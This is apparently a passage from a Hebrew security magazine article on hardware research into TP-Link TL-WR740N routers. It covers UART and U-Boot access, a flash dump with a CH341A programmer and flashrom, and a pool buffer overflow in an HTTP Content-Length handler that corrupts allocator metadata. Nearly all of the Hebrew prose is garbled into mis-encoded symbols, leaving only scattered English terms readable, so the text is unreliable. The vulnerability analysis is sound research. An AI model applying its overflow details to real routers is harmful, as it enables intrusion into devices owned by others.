 ˫ ˧˶˵ˬˢ   x ˵  -sTX   s ˧ˢ  ˵˸ˣˮˬ  ˸˧ˤ˧˲  Σ ˨ ˞   ˭ ˲ˣ˞   ˭ ˣ˵˧˸ˢ   s ˧ˢ  ˢˮˣ˷   ˪ ˩˟  ˫ˠˡ  Φ˧ˢˣˤ   s ˰˲ˣ˸  ˸˶˩ˣˬ   ˵ ˪˥˟  

˧˶˴ˣˬˬ  ˢ˶ˬˣ˥ˢ  Σ˦˶˲˟ˣ  ˶˲˯ˬ˟  ˫˧ˬˠˡ  ˪˷  TP-Link  Φ˨˪ˢˬ˟  ˶ˣ˴˧˧ˢ  Σ˭˶˴˧ˢ  ˫˧˸˧˰˪  ˦˧ˬ˷ˬ   ˫ ˧˟˧˩˶  

 ˫ ˧ˬ˧ˣ˯ˬ  ˧ˡ˩  ˫˴ˬ˴˪  ˸ˣ˧ˣ˪˰  ˶ˣ˴˧˧  Φˢ˞˴ˣ˸˩  ˨˩ˬ  Σ˫˧˪ˣ˪˯ˬ  ˫˧ˬ˧ˣ˯ˬ  ˫ˢ˟ˣ  ˣ˵   s-TX  Σ ˫ ˧˶˸ˣˮ   ˫ ˧˵˸ˣˮˬ  

 ˸ ˧˪ˬ˷˥  Σ˸ˣ˶ˬ˪  ˸ˣˡˣ˵ˮ˷  ˶ˣ˟˧˥ˢ  ˭˧˧ˡ˰  ˸ˣˬ˧˧˵  ˪˰  ˧˟ˠ   ˥ ˣ˪ˢ  Φ˸ˮ˧˥˟ˬ  ˷ˬ˸˷ˬˢ  Σ˵˷ˬˬ   sπUART  

ˢ˞˶ˮ ˫˧˧˵  Σ˨˞  ˢ˷˰ˬ˪ ˣˮ˧˞ ˷˧ˠˮ  ˞˪˪ ˭ˣ˵˧˸ ˧ˤ˧˲ Φ 

˟˸ˮ˟  TL-WR740N  Σ˭ˣ˶˸˲ˢ  ˢ˧ˢ  ˦ˣ˷˲  ˸˧˯˥˧  Υ˸˶˧˴˧  ˶˷ˠ  ˪˧ˡ˟  ˭˧˟   ˧ ˸˷  ˸ˣˡˣ˵ˮ  ˢ˵˧ˡ˟   ύTP18   xπ

P28T  Φό˭ˣ˶˸˲ˢ  ˣˮ˧˞  ˯˯ˣ˟ˬ  ˪˰  ˷ˣ˥˧ˮ  Σ˞˪˞  ˡ˰ˣ˸ˬ  ˡˣ˰˧˸˟  ˪˷  Openwrt  Φ˶˥˞˪  ˶ˣ˟˧˥   ˧ ˸˷  

˸ˣˡˣ˵ˮˢ Σ˪ˠ˰ˬˢ ˶ˠ˯ˮ  ˣ˵ˣ s -TX  ˶ ˤ˥ ˪ˣ˰˲˪ ˧ˣ˞˶˩ Φ 

 ˫ ˠˡ˟  TL-WR841N   ˷ ˶ˡˮ  ˭ˣ˵˧˸  ˦˰ˬ  ˢˮˣ˷  Σˢ˶˵ˬ˟  ˢˤ  ˢ˧ˢ   ˨ ˶ˣ˴   ˫ ˧˥˪ˢ˪   ˧ ˮ˷   ˫ ˧˟˧˩˶  ˫˧ˮ˦˵   ˶ ˷˞  

˫˧ˬ˧˪˷ˬ ˸˞ ˪ˣ˪˯ˬ ˸ˣ˞ˢ ˫˧˶˧ˤ˥ˬˣ  ˸˞ x˵ sπTX  ˸ˣ˪˧˰˲˪  Φˡˣ˰˧˸ ˞˪ˬ ˪˷ ˨˧˪ˢ˸ˢ Σ˪˪ˣ˩   ˸ ˣˮˣˬ˸  

˫˧˶˟˯ˢˣ Σ˰˧˲ˣˬ   ˶ ˬ˞ˬ˟  ˱ ˯ˣˮ ˷˧˸ˬ˯˶˲ ˟πGitHubΦ 

˶˟ˣˡˬ  ˢˡˣ˟˰˟  ˢˮ˧ˡ˰  ˸˷˶ˣˡˢ  ˡˣ˧˴  ˢˬ˥˪ˢ  ˫˧˞˸ˬ  ˭ˣ˧˯˧ˮˣ  ˢˡˣ˟˰˟  ˫˰  ˫˧˟˧˩˶  ˫˧˶˧˰ˤ  Φ ˶ ˥˞˪  

˸ˬ˪˷ˢ ˭ˣ˵˧˸ˢ ˸˶˧ˠ˯ˣ ˪ˠ˰ˬˢ Σ˵˷ˬˬ sπUART ˶ˤ˥   ˪ ˣ˰˲˪ ˭˲ˣ˞˟ ˭˧˵˸ Φ 
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˧˶˥˞  ˣˮ˶ˤ˥ˢ˷  ˸˞  -sUART  ˫˧˧˥˪  Σˢ˶˸ˣˮ  ˢ˪˞˷   ˸ ˥˞  Υˣˢˬ  ˟˴˵  ˸˶ˣ˷˵˸ˢ  ύbaud rate  Κό ˧ ˪˟  

˟˴˵ˢ ˭ˣ˩ˮˢ ˪˟˵ˮ ɣϥ˷˧˶˟˧  ˪˰  ˨˯ˬˢ  Φ 

˶˷˲˞   ˷ ˥ˮ˪  ˢˬ˧˷˶ˬ  ˢ˶˴˵  ˪˷  ˫˧˟˴˵   ˫ ˧˴ˣ˲ˮ  ύфслл  Σртслл  Σммрнлл  ΣόΦΦΦ˪˟˞  ˷˧   ˨ ˶ˡ   ˸ ˧˦ˮˠ˪˞  

˶˸ˣ˧  Σ˥˸ˮˬ   ˧ ˠˣ˪  ύlogic analyzer  Φό˧˸˶˟˧˥  ˥˸ˮˬ  ˧ˠˣ˪  ˪ˣˤ  ˪˷  у  ˫˧˴ˣ˶˰  Σ˭˧˟  ˶˞˷ˢ   ˪ ˞  ˣ˵   s-TX  Σ

 ˧ ˸˦˪˵ˢ  ˸˞  ˪ˮˠ˧˯ˢ  ˭ˬˤ˟  ˪ˣ˥˸˞  Σ˸˶ˤ˰˟ˣ  Sigrok PulseView  ˧˸ˡˡˬ  ˸˞  ˟˥ˣ˶  ˦˧˟ˢ  ˡˡˣ˟ˢ   ˶ ˴˵ˢ  

˶˸ˣ˧˟ Σˣˮˬˬˣ  ˧˸˟˷˧˥  ˸˞ ˟˴˵ˢ Υ 
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screen   ˫ ˰   ˭ ˵˸ˢˢ   ύ ˪ ˷ˬ˪  /dev/ttyUSB0  ό ˟ ˴˵ˣ  ˸˶ˣ˷˵˸ˢ  ˫˧˞˸ˬˢ  Φ ˶ ˥˞˪  ˶ˣ˟˧˥ˢ˷   ˥ ˸˲ˮ  Σ

˫˧˪˧˰˲ˬ  ˸˞  ˟˸ˮˢ  ˷ˡ˥ˬ  Φ ˰ ˠ˶ˬ  ˢ˵˪ˡˢˢ   ˪ ˧˥˸ˬ   ˰ ˧˲ˣˢ˪  ˱ˣ˯ˬ˟  ˱˦˷  ˸ˣ˰ˡˣˢ   ˪ ˣ˥˸˞ˢ  ύBoot 

Log  ό˭ˬˤ˟  ˸ˬ˞  Σ˶˷˲˞ˬˢ  ˟ˣ˵˰˪  ˶˥˞  ˪˩  ˧˟˪˷  ˢ˧˧˪˰ˢ   ˪ ˷  ˸˩˶˰ˬˢ  Σ˪˥ˢ  ˢˬπBootloader   l ˰ˣ  

˸ˮ˧˰˦˪  ˸˩˶˰ˬ  ˢ˪˰˲ˢˢ  Φ˟˪˷  ˢˤ  ˵˲˯ˬ  ˰ˡ˧ˬ  ˟˶  ˪˰  ˨˧˪ˢ˸  ˪ˣ˥˸˞ˢ  Φ˨˪ˢˬ˟  ˪ˣ˥˸˞ˢ   ˷ ˧  

˸ˣ˟˧˷˥  ˢ˟˶  ˭ˣˬˤ˸˪  ˢ˴˧˥˪ˢ   ˪ ˰   ˷ ˵ˬ  ENTER  Φ ˫ ˞  ˢ˴˧˥˪ˢ   ˸ ˰˴˟˸ˬ   ˫ ˡ˵ˣˬ  ˧ˡˬ  Σ˭ˬˤ˟   s ˷ -

Bootloader   ˭ ˧˧ˡ˰  ˪˧˰˲  Σ˸˪˟˵˸ˬ  ˢ˷˧ˠ   ˵ ˷ˬˬ˪   ˪ ˷  U-Boot  ˡ˟˪˟  Φ˸ˬˣ˰˪  ˸˞ˤ  Σ˫˞   ˫ ˧ˮ˧˸ˬˬ  

˫ˣ˧˯˪  ˨ ˧˪ˢ˸ ˪ˣ˥˸˞ˢ Σ˸˩˶˰ˬˢ ˢ˰˧ˠˬ  ˨˯ˬ˪ ˸ˣ˶˟˥˸ˢˢ  ύLogin Prompt ό˪˷ ˟˸ˮˢ Φ 

 ˶ ˵˥ˬ˟   ˧ ˸˰˴˧˟˷  ˧˸˧˯˧ˮ  ˶˟˥˸ˢ˪   ˸ ˣ˰˴ˬ˞˟   ˵ ˷ˬˬ   ˸ ˣ˶˟˥˸ˢˢ  ˪˷  ˸˩˶˰ˬˢ  Σ˨˞   ˞ ˪˪  ˢ˥˪˴ˢ  

˶˥˞ˬ  ˢ˧ˢˣ  ˷˶ˡˮ  ˷˧˵ˢ˪  ˫˷  ˷ˬ˸˷ˬ  ˞ˬ˯˧˯ˣ  ˞˪˷  ˧˸ˣ˷˶˟  Φ˭ˣ˧˯˧ˮ  ˢˤ  ˷˧ˠˡˢ  ˭ˣ˶˵˧˰   ˟ ˣ˷˥  

 ˶ ˵˥ˬ˟  Firmware  Υ ˶ ˷˞˩   ˞ ˪   ˭ ˸˧ˮ  ˪˟˵˪  ˢ˷˧ˠ   ˨ ˶ˡ   ˧ ˮˣˮˠˮˬ   ˸ ˣ˶˟˥˸ˢˢ  ˫˧˪˧ˠ˶ˢ  Σ ˭ ˸˧ˮ   ˨ ˧˷ˬˢ˪  

˸˞  ˶˵˥ˬˢ  ˸ˣ˰˴ˬ˞˟   ˳ ˣ˪˧˥  ˥ˣ˸˧ˮˣ  -sFirmware  ˢˬ˴˰ Φ  ˸˞  ˢ˪ˣ˯ˮˣ˵ˢ  ˢ˧˥ˢ  Σ ˸ ˣ˟˶˪   ˨ ˧˪ˢ˸  

˸ˣ˶˟˥˸ˢˢ ˩πroot ˟˸ˮ˟  WR740N-TL Σ˭˸˧ˮ  ˸ˣ˞˶˪  ˢ˞ˣ˪ˬ˟ ˶ˬ˞ˬ˟  ˷ ˧ ˸ˬ˯˶˲ ˟πGitHubΦ 

http://www.digitalwhisper.co.il/
https://github.com/J4c0b-1337x007/TL-WR740N-v4.28-hardware-research


 
 

    Υ   ¢tπ[ƛƴƪ ²wтплbΣ  CƛǊƳǿŀǊŜ       
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

˭ˣ˧˪ˠ  муу ,   ˦˯ˣˠˣ˞нлнс  тл 
 

˟˪˷ˢ  ˞˟ˢ  ˶˵˥ˬ˟   ˞ ˣˢ   ˳ ˣ˪˧˥  -sFirmware  ˸ˣ˶˧˷˧  ˭ˣ˶˩˧ˤˬ  πsFlash  ˪˷  ˟˸ˮˢ  Φ˟˪˷˟  ˢˤ  ˶˟˩   ˞ ˪  

ˢ˷˰ˮ  ˷ˣˬ˧˷  ˵˷ˬˬ˟  -sUART  Σ˞˪˞  ˢ˷˧ˠ˟ ˢ˶˧˷˧  ˟˟˷˪  ˭ˣ˶˩˧ˤˢ  Σ˸˶˷˲˞ˬˢ ˳˪˥˪ ˸˞ ˭˩ˣ˸   s-

Firmware ˨˶ˣ˴˪ ˥ˣ˸˧ˮ ˵˧ˬ˰ˬ  Φ 

ˢ˟˶ˢ˟   ˫ ˧˟˸ˮ  ˶˷˲˞   ˦ ˣ˷˲   l ˧˶ˣˢ˪   ˸ ˞   ˳ ˟ˣ˵  -sFirmware   ˧ ˬ˷˶ˢ   ˶ ˸˞ˬ   ˭ ˶˴˧ˢ  ˥˸ˮ˪ˣ   x ˸ˣ˞  

˸ˣ˥ˣˮ˟  Φˣˤ  ˨˶ˡˢ  ˢ˪˵ˢ  Σ˪˟˞  ˞˧ˢ  ˫ˠ  ˸˪˟ˠˣˬ  Υˢˬ  ˫˧˷ˣ˰  ˭˧˞˷˩  Firmware  ˢˮ˧ˬˤ  ˢˡ˶ˣˢ˪  Σ

 ˫ ˧˴ˣ˶˷˩  ˞ˡˣˣ˪  ˢˬ˷  ˳˶˷   ˪ ˰  ˶˧˷˩ˬˢ  ˢˢˤ   ˵ ˣ˧ˡ˟  ˢˬ˪  ˭˶˴˧ˢ˷  ˫˯˶˲ˬ  Σˣ˞  ˫˧˴ˣ˶˷˩  ˸ˣ˟ˠ˪   ˸ ˞  

˟˴ˬˢ  ˧˥˩ˣˮˢ  ˧ˮ˲˪  ˫˧ˮ˷ˬ˷  ˣˢ˷ˬ  Κ s ˟ˣ˷˸ˢ   ˪ ˩˪  ˢ˪˞  ˢˢˤ  Υ˫˧˞˶ˣ˵  ˸˞   ˟ ˟˷  πsFlash  ˸ˣ˶˧˷˧  Φ

ˢˤˣ ˵ˣ˧ˡ˟ ˢˬ ˧˸˧˷˰˷ Φ 

-sFirmware  ˸ ˟˷ˣ˧  ˟˟˷˟  SPI-NOR Flash  Φ ˧ ˡ˩   ˞ ˣ˶˵˪  ˣ˸ˣ˞   ˷ ˬ˸˷ˮ   ˞ ˶ˣ˵˟   ˫ ˧˟˟˷   ˪ ˣˤ  ˳ˣ˲ˮˣ  Σ sπ

CH341A Σ˶˟˥˸ˬ˷   ˪-USB ˶˟ˡˬˣ SPI ˪ˣˬ ˟˟˷ˢ Υ 

 

˸ˣ˶˧ˢˤ Σ˥˸ˬ  Φ 
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˵˪˥  ˪ˣˡˠ  ˧˸ˮ˩˸ˬˬ  πsCH341A  ˫˧˪ˣˤˢ  ˫˧˞˧˴ˣˬ  рV  ˪˰  ˧ˣˣ˵  ˫˧ˮˣ˸ˮˢ  ˸˶˧˶˟˩  ˪ˡ˥ˬ  Σˡˣ˰˟  ˟˟˷   sπ

Flash ˢ˲˴ˬ ˪πоΦоV Φ˶ˣ˟˧˥ ˶˧˷˧ ˢˤ˩ ˪ˣ˪˰  ˱ˣ˶˷˪  ˸˞  ˟ ˟˷ˢ Φ˳˪ˬˣˬ ˞ˡˣˣ˪ κ˭˵˸˪  ˸ ˞ ˸ˮ˩˸ˬˢ ˪π

оΦоV  ˧ˮ˲˪   ˫ ˧˶˟˥ˬ˷  ˣ˸ˣ˞  ˡ˰˧˪   x ˞  ˸ˣˮ˵˪  ˸˞  ˫ˠˡˢ  ˷ˡ˥ˢ   π   ˰ ˟˴˟  ˸˪˩˸  ˭˧˞˷  ˣ˪  ˸˞  ˢ˧˰˟ˢ   ˪ ˷  

˫˧˥˸ˬˢ ˣˬ˩  ˫ˠˡ˪ ˭˷˧ˢ Φ 

˷˧  ˧˸˷   ˫ ˧˩˶ˡ  ˞ˣ˶˵˪  ˸˞  ˟˟˷ˢ  Φˢˮˣ˷˞˶ˢ  Σin-circuit  Υ ˫ ˧ˡ˧ˬ˴ˬ  SOIC-8 clip  ˸ˣ˶˧˷˧  ˧˪ˠ˶˪   ˟ ˟˷ˢ  

˪˰  ˥ˣ˪ˢ  Σ˧˪˟  ˫˧˥˪ˢ˪  ˫ˣ˪˩  Φ˨˶ˡˢ  ˢ˧˧ˮ˷ˢ  Σˢˮ˧ˬ˞ˢ  ˶˸ˣ˧  Σ˞˧ˢ  chip-off  Υ˫˧ˬ˧˥˪ˬ  ˸˞   ˟ ˟˷ˢ  

˥ˣ˪ˢˬ ˫˧˥˧ˮˬˣ  ˣ˸ˣ˞ ˸ˣ˶˧˷˧  ˰ ˵˷˟ ˪˷ ˸ˮ˩˸ˬˢΦ 

˨˩ ˢˤ ˢ˞˶ˮ ˟˟˷ˢ˷˩ ˶˟ˣ˥ˬ  ˢ˞˧˶˵˪  ˨˶ˡ˟ in-circuit  Υ 
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˞˶ˣ˵ˣ  ˸˞  ˭ ˩ˣ˸ˢ  Υ˶˥˞˪  ˶ ˣ˟˧˥ ˸ˮ˩˸ˬ sπCH341A ˟˟˷˪ s πFlash Σ˭˸˧ˮ  ˷ˬ˸˷ˢ˪   ˧ ˪˩˟ flashrom  

˧ˡ˩ ˸ˣˢˤ˪  ˸ ˞  ˟ ˟˷ˢ ˳˪˥˪ˣ  ˸˞ ˭˩ˣ˸ˢ Φ 

 

ˢ˪˧˥˸  ˢˢˤˮ  ˸˞  ˟ ˟˷  ˭ˣ˶˩˧ˤˢ  Υflashrom -p ch341a_spi Σ ˶ ˥˞˪  ˭˩ˬ   ˞ ˶˵ˮ  ˸˞  ˪˩  ˭˩ˣ˸   ˭ ˣ˶˩˧ˤ   sπ

Flash ˶ˣˬ˷ˮˣ  ˣ˸ˣ˞ ˳˟ˣ˵˟ ˫˷˟ tp_link_wr740n_ext.bin Υ 

 

˧ˡ˩  ˞ˡˣˣ˪  ˢ˞˧˶˵ˢ˷  ˢ˰˴ˣ˟  ˢ˶ˣ˴˟  ˢˮ˧˵˸  ˞˪˪ˣ  ˸ˣ˞˧ˠ˷  Σ˳˪ˬˣˬ  ˰˴˟˪  ˢ˞˧˶˵  ˸˲˯ˣˮ  ˪˷   ˟ ˟˷ˢ  

˶ˣˬ˷˪ˣ  ˢ˸ˣ˞ ˳˟ˣ˵˟ ˱˯ˣˮ Σ˶˥˞˪ˣ ˭˩ˬ  ˸ˣˣ˷ˢ˪   ˭ ˧˟ ˧ˮ˷ ˫˧˴˟˵ˢ  Υ 
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˳ˣ˪˧˥˷  -sFirmware  ˰˴ˣ˟  ˭˲ˣ˞˟  ˭˧˵˸  ˭˧ˬ˞ˣ  Φˢ˞˧˶˵  ˢ˪ˣ˲˩  ˢ˞ˣˣ˷ˢˣ  ˞˧ˢ  ˪ˠ˶ˢ   ˟ ˣ˷˥  Υ˶ˣ˟˧˥   ˞ ˪  
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ˣˮ˧˞˷  ˫ˣ˯˥ ΦˣHttpMimeContentLengthGet ˢ˶˧ˤ˥ˬ  ˸˞  ˨˶˰ˢ  ˪˷ Content-LengthΦ 

ˢˡˣ˵ˮˢ  ˸˰˶˩ˬˢ  ˪˩˟  ˡˣ˵ˢ  ˞˧ˢ  ˢˮ˥˟ˢˢ  ˭˧˟  ˳˟ˣ˵  ˭˧˟˪  ˢˡ˷  ˪˧ˠ˶  Φ ˶ ˯˶˲ˢ   ˵ ˧ˤ˥ˬ  ˪ˠˡ   ˧ ˬ˧ˮ˲  

 ˰ ˟ˣ˵˷  ˫˞ˢ  ˵˪˥ˢ   ˧ ˥˩ˣˮˢ  ˞ˣˢ  ˳˟ˣ˵  ˢ˪˰ˣˢ˷   x ˞   s ˡ˷  ˯˲ˣ˦  ˪˧ˠ˶  Φ ˶ ˣ˟˰  ˳˟ˣ˵  Σ ˨ ˶˰ˢ   ˵ ˸˰ˣˬ   ˪ ˞  

˳˴ˣ˥  ˢ˞˪˰ˢˢ  ˪ˣˡˠˢ  Σ˳˴ˣ˥  ˣ˪ˡˣˠ˷  ˧˟˶ˬˢ  ˰˧ˠˬ  ˡ˰  ˢ˰˟˶˞  ˢˠˬ  π  ˫˧˸˟  Σˢ˵˸˰ˢˢˣ  ˣ˧˪˞   s ˬˣ˯˥  

˧ˣ˞˶˩  Φ˶ˣ˟˰  ˢˡ˷  ˪˧ˠ˶  Σ˸ˬˣ˰˪  ˸˞ˤ  Σ˨˶˰ˢ  ˵˸˰ˣˬ  ˪˞  ˣ˸ˣ˞  ˳˴ˣ˥  ˭˦˵  ˭˟  нлпу  ˫˧˸˟ˢ  ˭˞˩ˣ  Σ ˵ ˶ˣ  

˭˞˩ Σ˭˧˞   ˫ ˣ˷  ˸ ˵˧ˡ˟ ˨˶ˣ˞ Φ 

http://www.digitalwhisper.co.il/


 
 

    Υ   ¢tπ[ƛƴƪ ²wтплbΣ  CƛǊƳǿŀǊŜ       
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

˭ˣ˧˪ˠ  муу ,   ˦˯ˣˠˣ˞нлнс  ту 
 

 

 

ˢ˞˪ˣ˪ˢ  ˸ˬ˶ˣˠ˷  ˢ˷˧˪ˠ˪  Σ˟ˣ˷˥  ˭˧˟ˢ˪  ˸˷˧˪ˠ˷  ˳˴ˣ˥ˢ  ˭˞˩  ˢˮ˧˞  ˸˰˟ˣˮ  ˢ˵˸˰ˢˬ  ˸ˡˡˣ˟  ˸˧˵ˮ˰ˣ  Φ

˪˩  ˢ˵˸˰ˢ  ˸ˡˡˣ˟  ˸˪˟ˠˣˬ  ˢˬ˴˰˟  π˪нлпу  ˫˧˸˟  ˪˩˪   ˶ ˸ˣ˧ˢ  Σ˨˩   ˱ ˞˷  ˸˪ˣ˰˲  ˢ˵˸˰ˢ  ˢˡ˧˥˧   s ˮ˧˞  

ˢ˪ˣ˩˧   s ˡ˟˪ ˞˪ˬ˪  ˸˞ ˳˴ˣ˥ˢ  ˶˟˰ˬ  ˣ˪ˣ˟ˠ˪ Φ ˶ ˣ˵ˬ ˢ˧˰˟ˢ ˞ˣˢ ˢ˞˪ˣ˪ˢ  Φ 

ˢˮ˸˷ˬˢ bytesRemaining ˪˥˸ˣ˞ˬ ˨˶˰˪ ˪˷ ˸˶˸ˣ˩ Content-Length  ύ˪˩  ˱ˣˠ ˢ˷˵˟ˢ Φό 

˪˩˟  ˢ˧˴˶˦˧˞  ˞˶˵ˮ   ˰ ˦˵ˬ  ύchunkBuf  όˡ˥˞  ˪˞   ˶ ˲˞˟  ˧ˮˬˤ  Σ ˶ ˥˞˪ˣ  ˭˩ˬ  ˵˸˰ˣˬ  ˸ˣ˰˴ˬ˞˟  memcpy  

˪˞  ˶˲˞˟ˢ  ˰ˣ˟˵ˢ  poolBuf2048  Φ˶˲˯ˬ  ˫˧˸˟ˢ  ˣ˞˶˵ˮ˷  ˸˥˲ˣˬ  ˬbytesRemaining  Σ s ˞˪ˣ˪ˢˣ  

ˢ˩˧˷ˬˬ  ˶ˣˤ˥˪ ˪˰ ˢˬ˴˰  ˡ˰ ˷bytesRemaining  ˰˧ˠˬ ˪л  Φˢˮ˸˷ˬˢ  cumWriteOff  ˫˪ˣ˰˪   x ˮ˧˞  

˵ˡ˟ˮ   ˪ ˣˬ   ˪ ˡˣˠ  ˶˲˞˟ˢ   ύнлпу  ˫˧˸˟  Φό˭˩˪  Σ ˫ ˞   ˱ ˣˠ  ˢ˷˵˟ˢ  ˪ˣˡˠ   ˬнлпу  ˫˧˸˟  Σ˸ˣ˪ˣ˰˲   smemcpy  

˸ˣ˞˟ˢ   x ˩˧˷ˬ˧ ˟ˣ˸˩˪ ˶˟˰ˬ  ˸ˣ˪ˣ˟ˠ˪ poolBuf2048  Φ 
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˶˯˶˲ˢ  ˞˶ˣ˵  ˸˞  ˨˶˰   s ˡ˷ˢ  ˫˧˥˸ˮ˟  ύchunks  Φό˪˩  ˥˸ˮ  ˞ˣˢ  ˢ˩˧˸˥  ˪ˡˣˠ˟  ˪˷  ˡ˰  нлпу   ˫ ˧˸˟  

˨ˣ˸ˬ  ˨˶˰ ˢˡ˷ˢ  Φ˶˥˞˪  ˞ˣˢ˷   ˞ ˶ˣ˵ ˥˸ˮ Σ ˞ ˣˢ  ˵ ˧˸˰ˬ  x ˸ˣ˞ ˪˞   ˨ ˣ˸  ˳ ˴ˣ˥ˢ ˫ˣ˵˧ˬ˟  ˰˟˵ˮ˷   ˪ ˰  ˧ ˡ˧  

ˢˮˣˬ  ˦˯˧ˢ  ύoffset  ό˶˟˦˴ˬ  π  cumWriteOff Σ˶˥˞˪  ˢ˵˸˰ˢˢ  Σˢˮˣˬˢ  ˶˟˦˴ˬˢ  ˪ˡˠ   ˪ ˡˣˠ˟   ˥ ˸ˮˢ 

˵˸˰ˣˢ˷  ˢˤ  ˢ˸˰  Φˤ˞ˣ  ˢ˞˪ˣ˪ˢ   ˸ ˶ˤˣ˥   ˪ ˞  ˢ˸˪˧˥˸  Σ˸˞˶ˣ˵  ˸˞   ˥ ˸ˮˢ  ˞˟ˢ  Σ s ˵˧˸˰ˬˣ   x ˸ˣ˞   ˪ ˞  

˳˴ˣ˥ˢ ˫˰˲ˢ ˫ˣ˵˧ˬ˟  ˫ ˡ˵˸ˬ  ˶ ˸ˣ˧ Σ˧˲˪ ˢˮˣˬˢ ˶˟˩˷ ˪ˡˠ Φ 
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ˡˣ˰ˣ  ˵˥˶ˢ  ˪˞  ˶˟˰ˬ  ˳˴ˣ˥˪  Φ˨˩  Σ˫˴˰˟  ˢ˦˧˪˷  ˨˶ˣ˞˟  ˨˶˰  ˢˡ˷ˢ  Σ˱˵ˣ˸ˢ  ˦˪ˣ˷  ˢˬ˩˟   ˵ ˣ˥˶  

ˢ˷˧˪ˠˢ  ˢ˰˧ˠˬ  Φˢˬ  ˢ˞˶ˮ˷  ˣˬ˩  ˳˴ˣ˥  ˭˦˵   ˭ ˠˣˬˣ  ˭˟  нлпу  ˫˧˸˟  ˨˲ˣˢ  Σ˨˶ˡ  ˢ˞˪ˣ˪ˢ  Σ˶ˣˮ˧˴˪   ˟ ˸ˣ˩˷  
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ˢˬ˪  ˢ˷˧˪ˠˢ  ˪˩  ˨˩  ˸˧ˮ˯˶ˢ  Κˡ˰  ˢ˩  ˣˮ˶˞˧˸  ˫˧˸˟ˢ˷  ˫˧˲ˡˣ˰ˢ  ˫˧˟˸˩ˮ  ˪˞  ˭ˣ˶˩˧ˤˢ  ˧˶˥˞˷  ˳˴ˣ˥ˢ Φ
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˭˧˰ˬ ˢ˴˵ˬ ˭ˣ˶˩˧ˤ  ύallocator  ό˪ˢˮˬ˷ ˢ˩˧˶˟ ύpool ό˪˷ ˫˧˵ˣ˪˟ Φ ˭ ˣˮˠˮˬˢ ˢˤˢ ˶ˬˣ˷  ˧ˮ˲˪  ˪˩  ˵ ˣ˪˟  

˪˷  ˫˧ˮˣ˸ˮ  ˸˶˸ˣ˩   s ˶˵˟  ˪ˡˣˠ˟  мс  ˫˧˸˟  Φ˸˶˸ˣ˩ˢ  ˣˤˢ  ˢ˪˧˩ˬ  ˢˬ˩  ˸ˣˡ˷  Υ˨˶˰   Ϧ˫˯˵ ύ Ϧmagic  ό

ˢˢˤˬ˷  ˫˞ˢ  ˵ˣ˪˟ˢ   ˷ ˣˬ˧˷˟  ˣ˞  ˧ˣˮ˲  Σ˰˧˟˴ˬ  ˪˞  ˵ˣ˪˟ˢ  ˞˟ˢ  ˸ˬ˧˷˶˟   ˫ ˧˵ˣ˪˟ˢ  ˫˧˧ˣˮ˲ˢ  Σ ˪ ˡˣˠ  

˵ˣ˪˟ˢ  Σˡˣ˲˧˶ˣ  Φ ˨ ˶˰   ˫ ˯˵ˢ   ˪ ˟˵ˬ  ˯ˣ˲ˡ   l ˥˞  ˵ˣ˪˟ˢ˷˩  ˷ˣˬ˧˷˟   ˯ ˣ˲ˡˣ   ˶ ˥˞   ˞ ˣˢ˷˩   ˧ ˣˮ˲  Σ ˨ ˩  ˭ˣˮˠˮˬˢ  

˰ˡˣ˧  ˭˧˥˟ˢ˪ ˫ˢ˧ˮ˧˟Φ 

 ˫ ˧˵ˣ˪˟ˢ  s ˩˧˶˟˟ ˫˧˟˷ˣ˧   ˭ ˣ˶˩˧ˤ˟  s ˤ˟ ˶˥˞ ˢˤ Σ˫˧ˡˣˬ˴ Φ ˸ ˣ˰ˬ˷ˬˢ ˞˧ˢ   l ˧ˬ˷   ˧ ˶˥˞   ˶ ˣˤ˞  ˫˧ˮˣ˸ˮˢ 

 ˪ ˷  ˳˴ˣ˥ˢ   x ˮ˪˷  Σ x ˸ˣ˞  ˳˴ˣ˥  ˭˟  нлпу  ˫˧˸˟ˢ   ˸ ˟˷ˣ˧  ˸˶˸ˣ˩ˢ  ˪˷   ˵ ˣ˪˟ˢ  ˞˟ˢ  Φ˭˩˪ˣ  Σˢ˷˧˪ˠˢ˷˩  

˸ˠ˶ˣ˥ ˶˟˰ˬ  ˳˴ˣ˥˪ Σ˫˧˸˟ˢ  ˫˧˲ˡˣ˰ˢ ˫˧˯˶ˣˡ  ˵ˣ˧ˡ˟  ˸˞ ˸˶˸ˣ˩ˢ ˣˤˢ  Υ˫ˡˣ˵  ˸˞ ˨˶˰ ˫˯˵ˢ Σ l ˧ˬˣ  

ˣ˧˶˥˞  ˸ ˞ ˰˧˟˴ˬˢ ˪˞ ˵ˣ˪˟ˢ  ˞˟ˢΦ 

ˣˤ ˢˡˣ˵ˮˢ ˸˧˦˧˶˵ˢ Φ ˭ ˣˮˠˮˬˢ  ˢˤˢ ˨ˬ˸˯ˬ   ˪ ˰ ˸ˣ˶˸ˣ˩ˢ ˢ˪˞ˢ  ˧ ˡ˩ ˡ˵˲˸˪ Φ˞ˣˢ˷˩ ˶˶˥˷ˬ ˵ˣ˪˟  Σ

˞ˣˢ  ˵ˡˣ˟   ˸ ˞  ˨˶˰  ˫˯˵ˢ  ˣ˪˷  ˧ˡ˩  ˞ˡˣˣ˪  ˵ˣ˪˟ˢ˷  ˭˧˵˸  Φ˞ˣˢ˷˩ˣ  ˢ˴˵ˬ  ˣ˞  ˶˶˥˷ˬ  ˫˧˵ˣ˪˟  Σ ˞ ˣˢ  

˪˧˧˦ˬ  ˨˶ˣ˞˪  ˸ˬ˧˷˶  ˫˧˵ˣ˪˟ˢ  ˫˧˧ˣˮ˲ˢ  ˪˰  ˧ˡ˧  ˟˵˰ˬ  ˶˥˞  ˫˧˰˧˟˴ˬˢ  Ϧ ˞ ˟ˢ  ΦϦ˫˞  ˣˮ˯˶ˡ  ˸˞   ˨ ˶˰  

˫˯˵ˢ  ˢ˵˧ˡ˟ˢ  ˸˪˷˩ˮ  Φ˫˞ˣ   x ˮ˯˶ˡ   ˸ ˞  ˰˧˟˴ˬˢ  Ϧ˞˟ˢ  ΣϦ ˪ ˣ˧˦ˢ  ˨˶ˣ˞˪  ˢˬ˧˷˶ˢ  ˪˧˟ˣˬ  ˪˞   ˸ ˟ˣ˸˩  

ˢ˧ˣˠ˷ ˱˵ˣ˸ˢ˷  ˦˪˷  ˢ˟ Φ˸˧ˣˣˤˢ ˸˩˲ˣˢ˷  ˸˞ ˢˤ   ˶ ˣˬ˥˪  Υ˞˪˪  ˸ ˣˬ˧˞ 

